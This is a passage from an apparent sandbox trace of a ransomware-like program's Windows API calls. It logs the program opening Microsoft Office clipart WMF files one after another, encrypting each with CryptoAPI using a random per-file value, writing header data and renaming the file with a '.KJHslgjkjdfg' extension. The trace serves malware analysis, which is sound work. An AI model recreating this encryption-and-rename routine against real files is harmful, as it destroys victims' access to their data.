dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.014] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.014] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x175c, lpOverlapped=0x0) returned 1 [0193.015] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760, dwBufLen=0x1760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760) returned 1 [0193.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.015] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1760, lpOverlapped=0x0) returned 1 [0193.015] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.015] SetEndOfFile (hFile=0x130) returned 1 [0193.018] GetProcessHeap () returned 0x990000 [0193.018] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.018] GetProcessHeap () returned 0x990000 [0193.018] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.kjhslgjkjdfg")) returned 1 [0193.019] CloseHandle (hObject=0x130) returned 1 [0193.019] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0193.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.020] GetProcessHeap () returned 0x990000 [0193.021] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.021] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.021] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.023] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.023] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.023] GetProcessHeap () returned 0x990000 [0193.023] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.023] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.023] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.023] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.023] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.023] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.023] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.024] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.024] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.024] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.024] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x203c, lpOverlapped=0x0) returned 1 [0193.025] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2040, dwBufLen=0x2040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2040) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2040, lpOverlapped=0x0) returned 1 [0193.025] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] SetEndOfFile (hFile=0x130) returned 1 [0193.028] GetProcessHeap () returned 0x990000 [0193.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.028] GetProcessHeap () returned 0x990000 [0193.028] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.kjhslgjkjdfg")) returned 1 [0193.029] CloseHandle (hObject=0x130) returned 1 [0193.029] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0193.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.030] GetProcessHeap () returned 0x990000 [0193.030] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.030] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.030] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.030] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.030] GetProcessHeap () returned 0x990000 [0193.030] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.033] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.034] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.034] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1350, lpOverlapped=0x0) returned 1 [0193.035] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1350, dwBufLen=0x1350 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1350) returned 1 [0193.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.035] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1350, lpOverlapped=0x0) returned 1 [0193.035] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.035] SetEndOfFile (hFile=0x130) returned 1 [0193.036] GetProcessHeap () returned 0x990000 [0193.036] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.036] GetProcessHeap () returned 0x990000 [0193.036] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.kjhslgjkjdfg")) returned 1 [0193.038] CloseHandle (hObject=0x130) returned 1 [0193.038] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0193.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.039] GetProcessHeap () returned 0x990000 [0193.039] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.039] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.041] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.041] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.041] GetProcessHeap () returned 0x990000 [0193.041] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.041] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.042] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.042] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.042] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.042] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.042] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.042] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.042] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b04, lpOverlapped=0x0) returned 1 [0193.043] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b10) returned 1 [0193.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.044] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b10, lpOverlapped=0x0) returned 1 [0193.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.044] SetEndOfFile (hFile=0x130) returned 1 [0193.047] GetProcessHeap () returned 0x990000 [0193.047] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.047] GetProcessHeap () returned 0x990000 [0193.047] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.kjhslgjkjdfg")) returned 1 [0193.048] CloseHandle (hObject=0x130) returned 1 [0193.048] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0193.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.050] GetProcessHeap () returned 0x990000 [0193.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.050] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.050] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.050] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.050] GetProcessHeap () returned 0x990000 [0193.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.050] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.050] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.053] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.053] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.053] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.054] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd00, lpOverlapped=0x0) returned 1 [0193.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd00, dwBufLen=0xd00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd00) returned 1 [0193.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd00, lpOverlapped=0x0) returned 1 [0193.054] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.054] SetEndOfFile (hFile=0x130) returned 1 [0193.055] GetProcessHeap () returned 0x990000 [0193.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.056] GetProcessHeap () returned 0x990000 [0193.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 